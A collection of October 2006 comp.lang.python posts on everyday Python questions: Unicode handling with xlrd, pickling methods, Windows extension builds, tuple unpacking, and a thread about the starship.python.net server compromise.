<1160583521.005724.227370@b28g2000cwb.googlegroups.com> John Machin wrote: > kath wrote: > > I have a number of excel files. In each file DATE is represented by > > different name. I want to read the date from those different file. Also > > the date is in different column in different file. > > > > To identify the date field in different files I have created a file > > called _globals where I keep all aliases for DATE in a array called > > 'alias_DATE'. > > It's actually a list. In Python an array is something else; look at the > docs for the array module if you're interested. > > > > > Array alias_DATE looks like, > > > > alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum', > > 'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate', > > 'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate', > > 'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum', > > """Kurs-\ndatum""", "Kurs-\ndatum"] > > Nothing to do with the question you asked, but the last two entries > have the same value; is that intentional? > | >>> """Kurs-\ndatum""" == "Kurs-\ndatum" > | True > > > > > > Now I want the index of the column where date is there. I followed the > > with followin code. > > > > > > >>> b=xlrd.open_workbook('Santander_051206.xls') > > >>> sh=b.sheet_by_index(0) > > >>> sh.cell_value(rowx=0, colx=11) > > u'Fecha de Valoraci\xf3n' > > >>> val=sh.cell_value(rowx=0, colx=11) > > >>> val > > u'Fecha de Valoraci\xf3n' > > >>> print val > > Fecha de Valoraci?n > > >>> import _globals # the file where I have stored my 'alias_DATE' array > > >>> _globals.alias_DATE.index(val) > > Traceback (most recent call last): > > File "", line 1, in ? > > UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position > > 17: ordinal not in range(128) > > >>> > > > > Though I have matching value in the array, why I am getting this error. > > Can any one please tell me why is this error, and how to get rid of > > this error. Because I have some files which containing some more > > special characters. > > > > Hello again, Sudhir. > > The text string returned by xlrd is a unicode object (u'Fecha de > Valoraci\xf3n'). The text strings in your list are str objects, encoded > in some unspecified encoding. Python is trying to convert the str > object 'Fecha de Valoraci?n' to Unicode, using the (default) ascii > codec to do the conversion, and failing. > > One way to handle this is to specify any non-ASCII strings in your > lookup list as unicode, like this: > > contents of sudhir.py: > | # -*- coding: cp1252 -*- > | alist = ['Datestamp', u'Fecha de Valoraci\xf3n', 'Kurs-','datum'] > | blist = ['Datestamp', u'Fecha de Valoraci?n', 'Kurs-','datum'] > | assert alist == blist > | val = u'Fecha de Valoraci\xf3n' > | print 'a', alist.index(val) > | print 'b', blist.index(val) > > | OS prompt>sudhir.py > | a 1 > | b 1 > > Note: the encoding "cp1252" is appropriate to my environment, not > necessarily to yours. > > You may like to have a look through this: > http://www.amk.ca/python/howto/unicode > > HTH, > John Hi.... thanks for your brave reply. The link you gave was the good one. It had comprehensive information.I enjoyed reading it. Well it cleared my doubts regarding encoding data, what is Unicode data, how to deal with unicode data. Thank you very much.. Regards, sudhir. From fredrik at pythonware.com Mon Oct 16 16:15:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 22:15:54 +0200 Subject: OT: What's up with the starship? In-Reply-To: <4533D84B.4060405@hathawaymix.org> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <4533D84B.4060405@hathawaymix.org> Message-ID: Shane Hathaway wrote: > I don't know if this concern applies to Starship specifically, but it > seems to apply to thousands of web sites running Python CGIs and > Python web servers. so are we seeing thousands of web sites running Python CGIs and web servers being attacked right now? From scott.daniels at acm.org Sun Oct 1 18:06:28 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sun, 01 Oct 2006 15:06:28 -0700 Subject: a different question: can you earn a living with *just* python? In-Reply-To: <1159393691.516824.66050@k70g2000cwa.googlegroups.com> References: <1159305924.604677.118300@i42g2000cwa.googlegroups.com> <1159337418.630332.80100@k70g2000cwa.googlegroups.com> <7xven92i2z.fsf@ruckus.brouhaha.com> <1159393691.516824.66050@k70g2000cwa.googlegroups.com> Message-ID: <45203408$1@nntp0.pdx.net> sjdevnull at yahoo.com wrote: > Paul Rubin wrote: >> .... Very interesting post and list. I think I'd add at least one assembly >> language. > > Yes, definitely. I'd propose DEK's MMIX assembly language if you go for only one (or two) -- learn modern machine architectural directions at the same time as you learn an assembly language. You can still execute it (plenty of simulators are available for free), and you can get an idea of kinds of efficiency without having to learn five or six architectures. --Scott David Daniels scott.daniels at acm.org From richardjones at optushome.com.au Sat Oct 7 22:32:28 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Sun, 08 Oct 2006 12:32:28 +1000 Subject: New-style classes slower than old-style classes? (Was: n-body problem at shootout.alioth.debian.org) References: <61JVg.138429$_J1.903927@twister2.libero.it> Message-ID: <4528633c$0$3249$afc38c87@news.optusnet.com.au> Giovanni Bajo wrote: > Peter Maas wrote: > >>> Did you try using an old-style class instead of a new-style class? >> >> The original program has an old style class, changing it to a new >> style class increases run time by 25% (version is 2.4.3 btw). > > Ah yes. Years ago when I first saw this test it was still using new-style > classes. > > Anyway, this is a bug on its own I believe. I don't think new-style > classes are meant to be 25% slower than old-style classes. Can any guru > clarify this? Please try 2.5 - there's been significant optimisation work put into 2.5 Richard From skip at pobox.com Mon Oct 16 17:17:31 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 16 Oct 2006 16:17:31 -0500 Subject: RELEASED Python 2.4.4, release candidate 1 In-Reply-To: <4533EC84.1040402@rpath.com> References: <200610121733.11507.anthony@python.org> <4533EC84.1040402@rpath.com> Message-ID: <17715.63211.185826.215411@montanaro.dyndns.org> Jonathan> When trying to build 2.4.4c1 with cross-compiling, I get the Jonathan> following error. Can you file a bug report on SourceForge please? Thx, Skip From chrisspen at gmail.com Fri Oct 20 19:58:22 2006 From: chrisspen at gmail.com (Chris) Date: 20 Oct 2006 16:58:22 -0700 Subject: Why can't you pickle instancemethods? In-Reply-To: <1161384201.118969.191540@k70g2000cwa.googlegroups.com> References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com> <1161384201.118969.191540@k70g2000cwa.googlegroups.com> Message-ID: <1161388701.951474.141450@f16g2000cwb.googlegroups.com> mdsteele at gmail.com wrote: > Chris wrote: > > Why can pickle serialize references to functions, but not methods? > > > > Pickling a function serializes the function name, but pickling a > > staticmethod, classmethod, or instancemethod generates an error. In > > these cases, pickle knows the instance or class, and the method, so > > what's the problem? Pickle doesn't serialize code objects, so why can't > > it serialize the name as it does for functions? Is this one of those > > features that's feasible, but not useful, so no one's ever gotten > > around to implementing it? > > I have often wondered this myself. I'm convinced that it would in fact > be useful -- more than once I've written a program that has lots of > objects with function pointers, and where it was inconvenient that the > method pointers could not be pickled. One compromise that I have used > before is to write a class such as: > > class InstanceMethodSet(object): > def __init__(self,methods): > self.methods = set(methods) > def __getstate__(self): > return [(method.im_self, method.im_func.func_name) > for method in self.method] > def __setstate__(self,state): > self.methods = set(getattr(obj,name) for obj,name in state) > > Obviously, this particular example is crude and not terribly robust, > but it seems to do the job -- it effectively lets you pickle a set of > instance method pointers. I don't know of any reason why instance > methods (or class or static methods) couldn't be pickled directly, > unless perhaps there exists some kind of pathological corner case that > would create Badness? > > -Matt Thanks, that's quite clever. Although I think you'd still have to explicitly specify im_self for staticmethods. I could imagine a similar callable proxy that simply removes the direct method reference from the equation: class MethodProxy(object): def __init__(self, obj, method): self.obj = obj if isinstance(method, basestring): self.methodName = method else: assert callable(method) self.methodName = method.func_name def __call__(self, *args, **kwargs): return getattr(self.obj, self.methodName)(*args, **kwargs) picklableMethod = MethodProxy(someObj, someObj.method) From wilson1442 at bellsouth.net Fri Oct 13 11:39:25 2006 From: wilson1442 at bellsouth.net (JW) Date: Fri, 13 Oct 2006 11:39:25 -0400 Subject: building extensions for Windows Python Message-ID: I have a lousy little Python extension, generated with the generous help of Pyrex. In Linux, things are simple. I compile the extension, link it against some C stuff, and *poof*! everything works. My employer wants me to create a Windows version of my extension that works with the vanilla Python 2.5 from python.org. My employment contract states that I won't be required to run Windows, and I desperately want to honor that clause. Ideally, I'd somehow MinGw cross compile like I do with C/C++ and *poof*!, out would pop a file I could hand out to someone who wanted to "import ". In Windows, things aren't so simple. I'm immediately bedazzled by a vast, unfamiliar nomenclature: "VC6", "VC7.1", "msvcrt", "msvcr71", "msvcr80", "VS2005", "VS2007", "MSVC2003", "MSVC2005", "Express Edition", ".NET SDK", etc. The python.org "recommended compiler" is apparently no longer available, but someone posted a link to an obscure Microsoft webpage artifact where it could still be obtained. Running it under WINE is less than ideal, but I decided to try and make it work. However, when I tried installing the compiler, it failed because my "Internet Explorer [was] out of date." I'm not sure how IE comes into the picture, but I'm just a programmer, after all. I am further confused by the python.org docs on using MinGw to build extensions: "These instructions only apply if you're using a version of Python prior to 2.4.1 with a MinGW prior to 3.0.0", but further on: "pcexports python25.dll >python25.def" seems to contradict that. It really makes no difference. The referenced webpage where the "pcexports" tool is found seems defunct. My main problem is that I don't really grasp the big picture. Can someone give me an overview of the requirements to build extensions for Windows Python, circa 2.5? Or, can I tell my employer she'll just have to hire/contract a Windows expert to do the mud wrestling? Jim Wilson Gainesville, FL From jstroud at mbi.ucla.edu Sun Oct 29 07:32:41 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 29 Oct 2006 12:32:41 GMT Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > why is it this function's job to add an offset to the actual sequence > index? > > The code is for an economist. She is insistent on starting with the first bin as 1. I'm guessing, practically, binning linerizes data and the bin number may potentially become a divisor or perhaps the operand in a logarithm. James From jstroud at mbi.ucla.edu Thu Oct 19 13:56:37 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Thu, 19 Oct 2006 17:56:37 GMT Subject: invert or reverse a string... warning this is a rant In-Reply-To: <7iNZg.117$1n3.3352@news.tufts.edu> References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: John Salerno wrote: > rick wrote: > >> Why can't Python have a reverse() function/method like Ruby? > > > I'm not steeped enough in daily programming to argue that it isn't > necessary, but my question is why do you need to reverse strings? It would provide symmetry for reversing any sequence (without requiring an iterator). (1,2,3).reversed() "123".reversed() [1,2,3].reversed() -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From edward_waugh at hotmail.com Mon Oct 9 18:05:41 2006 From: edward_waugh at hotmail.com (Edward Waugh) Date: Mon, 09 Oct 2006 15:05:41 -0700 Subject: Initialization of variables using no-arg constructor Message-ID: Consider the following (working) Python code: import sys def sum(list): # total = 0 does not work for non-numeric types total = list[0].__class__() for v in list: total += v return total l = [1, 2, 3] print sum(l) l = [1.1, 2.2, 3.3] print sum(l) l = ["a", "b", "c"] print sum(l) In order for sum() to be generic I initialize total to the value of list[0].__class__(). This works but I would like to know if this is the correct or preferred way of doing it. It means that sum() must be given a list whose elements are types or classes that have a no-arg constructor (through this is probably almost always the case). Thanks, Edward From ewijaya at i2r.a-star.edu.sg Thu Oct 26 05:06:37 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Thu, 26 Oct 2006 17:06:37 +0800 Subject: Printing Hidden Character in Python References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net> <87ejsvihaj.fsf@benfinney.id.au> Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615D7@mailbe01.teak.local.net> Ben, I mean while opening a file, like this for line in open('somefile.txt'): print line printing "line" will not show the hidden chars like "\n","\r". Is there a way to print it out? -- Edward WIJAYA SINGAPORE ________________________________ From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Ben Finney Sent: Thu 10/26/2006 4:59 PM To: python-list at python.org Subject: Re: Printing Hidden Character in Python Wijaya Edward writes: > How can we print out the hidden character like "\n", "\r" etc in > Python? What result do you want that you're not getting with: print "\n" -- \ "Two rules to success in life: 1. Don't tell people everything | `\ you know." -- Sassan Tat | _o__) | Ben Finney -- http://mail.python.org/mailman/listinfo/python-list ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From lemke_juergen at yahoo.de Sun Oct 29 15:18:06 2006 From: lemke_juergen at yahoo.de (lemke_juergen at yahoo.de) Date: 29 Oct 2006 12:18:06 -0800 Subject: "from module import *" and modifying module's top-level vars Message-ID: <1162153086.050052.51610@k70g2000cwa.googlegroups.com> Hi everyone, I define some vars and functions in a "support" module which gets called from my main app module. Using Python 2.5. I import all symbols in the support module at the top of the main module through: from support import * Is there a way for me to modify a top-level ("global"?) variable defined in module support from the code in the main module and still have those changes visible to code in the support module? Consider the following example: # support.py globvar = "old" def fun(): print "fun(): globvar==" + globvar # main.py from support import * global globvar # had hoped this would do the trick (as it does when placed inside a function call) glob = "new" print "top level(): glob==" +glob fun() # defined inside support Calling main.py outputs top level(): glob==new fun(): glob==old How can I get the assignment to globvar performed inside module main.py to be felt by the code in support.py? Thanks in advance! Best Juergen Lemke From gagsl-py at yahoo.com.ar Fri Oct 20 16:18:17 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 20 Oct 2006 17:18:17 -0300 Subject: why does this unpacking work In-Reply-To: References: Message-ID: <7.0.1.0.0.20061020170950.05b4c570@yahoo.com.ar> At Friday 20/10/2006 16:14, John Salerno wrote: >I'm a little confused, but I'm sure this is something trivial. I'm >confused about why this works: > > >>> t = (('hello', 'goodbye'), > ('more', 'less'), > ('something', 'nothing'), > ('good', 'bad')) >I understand that t returns a single tuple that contains other tuples. >Then 'for x in t' returns the nested tuples themselves. > >But what I don't understand is why you can use 'for x,y in t' when t >really only returns one thing. I see that this works, but I can't quite >conceptualize how. I thought 'for x,y in t' would only work if t >returned a two-tuple, which it doesn't. You can think of for x in t: whatever as meaning "for each element contained in t, name it x and do whatever" The other concept involved is unpacking: >>> w = (1,2,3) >>> x,y,z = w >>> x 1 When you say "for x,y in t:" there is an implicit unpacking, it means "for each element contained in t, unpack it into x and y and do whatever" >What seems to be happening is that 'for x,y in t' is acting like: > >for x in t: > for y,z in x: > #then it does it correctly No, it acts like: for w in t: x,y = w ... -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From robert.kern at gmail.com Mon Oct 9 16:06:53 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 09 Oct 2006 16:06:53 -0400 Subject: switching to numpy and failing, a user story In-Reply-To: References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1160399089.004617.120480@h48g2000cwc.googlegroups.com> Message-ID: Apologies for the dupe. It looked like something went wrong with the first send (and the first post was partly incorrect to begin with). -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From skip at pobox.com Sun Oct 8 17:36:02 2006 From: skip at pobox.com (skip at pobox.com) Date: Sun, 8 Oct 2006 16:36:02 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160172267.566568.79030@m7g2000cwm.googlegroups.com> <452966A2.1090107@v.loewis.de> Message-ID: <17705.28482.309758.386713@montanaro.dyndns.org> Fredrik> you need tools to help you track the bugs and their status, but Fredrik> you can handle issue registration, discussion, and most Fredrik> maintenance stuff using good old mail just fine. Which is something SourceForge has yet to learn. At work we use a system called RT (http://www.bestpractical.com/rt/). While it's not perfect, it does allow submissions and responses via email. That feature alone puts it miles ahead of SF in my mind. Skip From rurpy at yahoo.com Mon Oct 16 03:25:23 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 16 Oct 2006 00:25:23 -0700 Subject: OT: What's up with the starship? In-Reply-To: <1160974552.906162.115060@k70g2000cwa.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> Message-ID: <1160983523.518768.16110@e3g2000cwe.googlegroups.com> George Sakkis wrote: > rurpy at yahoo.com wrote: > > Robert Hicks wrote: > > > rurpy at yahoo.com wrote: > > > > T. Bryan wrote: > > > > > starship.python.net was compromised. It looked like a rootkit may have been > > > > > installed. The volunteer admins are in the process of reinstalling the OS > > > > > and rebuilding the system. That process will probably take a few days at > > > > > least. > > > > > > > > Does anyone know more? > > > > > > > > What about the integrity of the python packages hosted there? > > > > When was the site compromised? > > > > I just installed the python 2.5 pywin module last week. > > > > Should I be concerned? > > > > > > > > Is this related to the Python security problem recently announced? > > > > > > Did you even read about the vulnerability? > > > > Yes. Do you have any answers, or do you just enjoy posting irrevelant > > responses? > > I guess his response implied that what's irrelevant here is the > vulnerability, and accordingly your worries about it. Then perhaps he should have said that, in which case I would have explained why he did not understand what he read. Let me try again... 1. A site which hosts (I think, hence the questions) a number of high profile, popular python projects was compomised. 2. It was compromised with a root kit which by their nature, often go undetected for a long time. 3. It is common for miscreants to attempt to introduce backdoors into software that will be widely distributed. 4. Anyone downloading and installing such trojaned software will also be compromised. 5. Verifying that such a thing has not happened can be very difficult, particularly if the date and other details of the compromise cannot be accurately determined. 6. Many organisations give image and pr a higher priority than the safety of their customers/users and wave off security breechs with "don't worry, everything is fine. We're sure nothing has been touched" when in fact they have no idea. 7. I have seen no public statements or information about this leading me to wonder about the stuation and how it's being handled, hence my seeking of further information. That's what I am concerned about, ok? I don't really care how the site was compromised and my question about the python security vunerability was curiosity. But, I am still completely at a loss why you, he, or anyone, based on the information presented so far,.would conclude that the python security problem is unrelated. Care to enlighten me? But more inmportantly, how about addressing my original questions which are, even if you do not think so, pretty important for anyone who has recently downloaded software from or built there. From scott.daniels at acm.org Sun Oct 1 18:48:48 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sun, 01 Oct 2006 15:48:48 -0700 Subject: how to reuse class deinitions? In-Reply-To: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> Message-ID: <45203df3$1@nntp0.pdx.net> sam wrote: > pretty straightforward question here, i think. i'm experimenting with > classes and have written a File class that looks like it's worth > keeping for future use. however, i cannot work out where to put it for > this purpose or how to get it in. What I do: For each new major version of python, in .../site-packages I make a directory "sdd" (my initials). In it I put an empty file named "__init__.py". When I have things I want to reuse, I put them in files named things like ".../site-packages/sdd/goodidea.py", and I get use of them in python programs like: from sdd.goodidea import File ... ... or (actually my current style): from sdd import goodidea ... ... --Scott David Daniels scott.daniels at acm.org From ms at cerenity.org Sun Oct 1 08:24:37 2006 From: ms at cerenity.org (Michael) Date: Sun, 01 Oct 2006 13:24:37 +0100 Subject: Help me use my Dual Core CPU! References: <28ljt3-tcq.ln1@lairds.us> <450730C4.8020408@mvista.com> <7x4pv753mq.fsf@ruckus.brouhaha.com> <1158622096.384055.215610@e3g2000cwe.googlegroups.com> <7xd59np3zy.fsf@ruckus.brouhaha.com> <451c25d6$0$24474$ed2e19e4@ptn-nntp-reader04.plus.net> <7xejtsb5v8.fsf@ruckus.brouhaha.com> Message-ID: <451fb54a$0$8735$ed2619ec@ptn-nntp-reader02.plus.net> Paul Rubin wrote: > Michael writes: >> > But ordinary programmers write real-world applications with shared data >> > all the time, namely database apps. >> >> I don't call that shared data because access to the shared data is >> arbitrated by a third party - namely the database. I mean where 2 or >> more people[*] hold a lock on an object and share it - specifically >> the kind of thing you reference above as turning into a mess. > > Ehhh, I don't see a big difference between having the shared data > arbitrated by an external process with cumbersome message passing, > or having it arbitrated by an in-process subroutine or even by support > built into the language. If you can go for that, I think we agree on > most other points. The difference from my perspective is that there are two (not mutually exclusive) options: A Have something arbitrate access and provide useful abstractions designed to simplify things for the user. B Use a lower level abstraction (eg built into the language, direct calling etc) I don't see these as mutually exclusive, except the former is aimed at helping the programmer, whereas the latter can be aimed at better performance. In which case you're back to the same sort of argument regarding assembler, compiled or dymanic languages are a good idea, and I'd always respond with "depends on the problem in hand". As for why you don't see much difference I can see why you think that, but I personally believe that with A) you can shared best practice [1], whereas B) means you need to be able to implement best practice. [1] Which is always an opinion :) (after all, once upon a time people thought goto was a good idea :) >> > This is just silly, and wasteful of the >> > efforts of the hardworking chip designers > >> Aside from the fact it's enabled millions of programmers to deal with >> shared data by communicating with a database? > > Well, sure, but like spreadsheets, its usefulness is that it lets > people get non-computationally-demanding tasks (of which there are a > lot) done with relatively little effort. More demanding tasks aren't > so well served by spreadsheets, and lots of them are using databases > running on massively powerful and expensive computers when they could > get by with lighter weight communications mechanisms and thereby get > the needed performance from much cheaper hardware. That in turn would > let normal folks run applications that are right now only feasible for > relatively complex businesses. If you want, I can go into why this is > important far beyond the nerdy realm of software geekery. I'd personally be interested to hear why you think that. I can think of reasons myself, but would be curious to hear yours. >> For generator based components we collapse inboxes into outboxes >> which means all that's happening when someone puts a piece of data >> into an outbox, they're simply saying "I'm no longer going to use >> this", and the recipient can use it straight away. > > But either you're copying stuff between processes, or you're running > in-process without multiprocessor concurrency, right? For generator components, that's in-process and not multiprocessor concurrency, yes. For threaded components we use Queue.Queues, which means essentially the reference is copied for most real world data, not the data itself. One step at a time I suppose really :-) One option for interprocess sharing we're considering (since POSH looks unsupported, alpha, and untested on recent pythons), is to use memory mapped files. Thing is that means serialising everything which could be icky, so it'll have to be something we come back to later. (Much of our day to day work on Kamaelia is focussed on solving specific problems for work which rolls back into fleshing out the toolkit. It would be extremely nice to spend time on solving a particular issue that would benefit from optimising interprocess comms). If we can make kamaelia benefit from the work the hardware people have done for shared memory, that's great. However it's interesting to see things like the CELL don't tend to use shared memory, and use this style of communications approach. What approach will be most useful going forward? Dunno :-) I'm only claiming we find it useful :) >> This is traditional-lock free, > >> > Lately I've been reading about "software transactional memory" (STM), > >> I've been hearing about it as well, but not digged into it.... >> If you do dig out those STM references, I'd be interested :-) > > They're in the post you responded to: Sorry, brain fart on my part. Thanks :-) Michael. From bignose+hates-spam at benfinney.id.au Mon Oct 9 20:48:38 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 10 Oct 2006 10:48:38 +1000 Subject: doesNotUnderstand? References: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.com> Message-ID: <87lknp9es9.fsf@benfinney.id.au> "Liquid Snake" writes: > But i still want to know if theres a method like __insertMethodNameHere__? that does it for > me... or if you think it's a nice thing to have... > i'm REALLY SORRY for my REALLY BAD English... so..., don't hate me please.. > And I'm sorry if this question wasted your time. If you could see your way to separating paragraphs with a blank line, that would be a big benefit for people trying to read your message; any remaining problems with your English are minor in comparison to that. -- \ "Never do anything against conscience even if the state demands | `\ it." -- Albert Einstein | _o__) | Ben Finney From alan.franzoni.xyz at gmail.com Thu Oct 12 12:07:05 2006 From: alan.franzoni.xyz at gmail.com (Alan Franzoni) Date: Thu, 12 Oct 2006 18:07:05 +0200 Subject: Compile python on Solaris 64bit References: Message-ID: <1dw6q4qapo6yq.63xb9htpemue$.dlg@40tude.net> Il Thu, 12 Oct 2006 16:46:19 +0200 (CEST), Martijn de Munnik ha scritto: > Hi, > > I want to compile python on my solaris 10 system (amd 64 bit). Just a question... AFAIK, Solaris 10 64 bit includes binaries & kernels for both 64 bit and 32 bit machines. Which binaries are you actually using? I think there could be some configuration mismatch between running binaries and environment variables that could confuse the compiler. -- Alan Franzoni - Togli .xyz dalla mia email per contattarmi. Rremove .xyz from my address in order to contact me. - GPG Key Fingerprint: 5C77 9DC3 BD5B 3A28 E7BC 921A 0255 42AA FE06 8F3E - Blog: http://laterradeglieroi.verdiperronchi.com From timr at probo.com Sun Oct 8 00:06:33 2006 From: timr at probo.com (Tim Roberts) Date: Sun, 08 Oct 2006 04:06:33 GMT Subject: Is there an alternative to os.walk? References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com> <1159988816.166699.307450@k70g2000cwa.googlegroups.com> <1160242450.515582.304510@i42g2000cwa.googlegroups.com> Message-ID: <55ugi298haq1e7084nussjlkujq8rlf3dd@4ax.com> "Bruce" wrote: > >A little late but.. thanks for the replies, was very useful. Here`s >what I do in this case: > >def search(a_dir): > valid_dirs = [] > walker = os.walk(a_dir) > while 1: > try: > dirpath, dirnames, filenames = walker.next() > except StopIteration: > break > if dirtest(dirpath,filenames): > valid_dirs.append(dirpath) > return valid_dirs > >def dirtest(a_dir): > testfiles = ['a','b','c'] > for f in testfiles: > if not os.path.exists(os.path.join(a_dir,f)): > return 0 > return 1 > >I think you`re right - it`s not os.walk that makes this slow, it`s the >dirtest method that takes so much more time when there are many files >in a directory. Also, thanks for pointing me to the path module, was >interesting. Umm, may I point out that you don't NEED the "os.path.exists" call, because you are already being HANDED a list of all the filenames in that directory? You could "dirtest" with this much faster routinee: def dirtest(a_dir,filenames): for f in ['a','b','c']: if not f in filenames: return 0 return 1 -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From g.brandl-nospam at gmx.net Sun Oct 29 04:24:36 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sun, 29 Oct 2006 10:24:36 +0100 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <87u01oug78.fsf@nandi.2wire.net> Message-ID: Chetan wrote: >>> I am joining after some network downtime here, so I seem to have missed what >>> the real issue here is. At the risk of being completely irrelevant to the >>> discussion here, I think it doesn't seem to be just about something or >>> nothing - is None something or nothing? It seems to be neither: >> >> If is, of course, nothing. You may have misunderstood the semantics of the >> "and" and "or" operators. > > I have not. I just posted another message on the subject. All I am trying to > point out is that the "nothingness" evaluation does not occur at the level of > expressions. It is only when the expression is needed to make decisions about > control flow that this comes into picture. This is not correct. "and" and "or" involve truth (or "somethingness") evaluation, as you can see from this example: Python 2.5 (r25:51908, Sep 22 2006, 10:45:03) >>> class A: ... def __nonzero__(self): ... print "nonzero" ... return True ... >>> A() and 1 nonzero 1 >>> Georg From buzzard at urubu.freeserve.co.uk Wed Oct 25 20:45:47 2006 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Thu, 26 Oct 2006 01:45:47 +0100 Subject: What's the best IDE? In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> Message-ID: <45400967.0@entanet> Hakusa at gmail.com wrote: > After researching Komodo, I found it's not free. The only funds I have > are a college fund, and I can't start diping into that until I'm going > to college. Any free AND good IDEs? > http://wiki.python.org/moin/IntegratedDevelopmentEnvironments Duncan From hg at nospam.com Tue Oct 3 08:47:30 2006 From: hg at nospam.com (hg) Date: Tue, 03 Oct 2006 07:47:30 -0500 Subject: I need Cryptogrphy in Python please . In-Reply-To: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> Message-ID: NicolasG wrote: > Looking around for a Cryptography tool kit, the best recommendations I > found about was for pyCrypto. I try to install it unsuccessfully in my > windowsXP SP2 with python 2.4.3 and I get the following message : > C:\Python24\pycrypto-2.0.1>python setup.py build > running build > running build_py > running build_ext > error: The .NET Framework SDK needs to be installed before building > extensions f > or Python. > > I have installed .NET framework latest release. > Unfortunately the pyCrypto project looks abandoned , I couldn't find an > active mailing list and the last release are a couple of year old. > > Can some one guide me how to fix the problem above or point me to > another Cyrptography library that I can use easily ? > > Thanks. > I use pycrypto under *nix and Windows. Under windows, I compile it with VC++ 2003 without any problem. hg From fredrik at pythonware.com Wed Oct 11 06:38:55 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 12:38:55 +0200 Subject: Can pdb be set to break on warnings? References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com> <1160562703.933794.138980@b28g2000cwb.googlegroups.com> Message-ID: "LorcanM" wrote: >> python -m pdb -Werror myprogram.py > > It sounds like what I want, but it doesn't work for me. When I try the > above line of code, it replies: > > Error: -Werror does not exist > > I'm running Python 2.4.3 sorry, pilot cut and paste error. try: python -Werror -m pdb myprogram.py (-m script must be the last option before the script arguments, for pretty obvious reasons). From fredrik at pythonware.com Mon Oct 30 05:43:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 11:43:29 +0100 Subject: Easy PIL Question? In-Reply-To: <1162204777.208562.220740@f16g2000cwb.googlegroups.com> References: <1162204777.208562.220740@f16g2000cwb.googlegroups.com> Message-ID: pinkfloydhomer at gmail.com wrote: > I want to do something very simple: > > I want to read a palette image (256 color PNG or BMP for instance), and > then just to output the image data as numbers (palette indexes, I > guess). it's explained in the documentation, of course: http://effbot.org/imagingbook/image.htm#Image.getdata From cameron.walsh at gmail.com Tue Oct 24 02:05:35 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Tue, 24 Oct 2006 14:05:35 +0800 Subject: python GUIs comparison (want) In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: jiang.haiyun at gmail.com wrote: > Now i began to learn GUI programming. There are so many > choices of GUI in the python world, 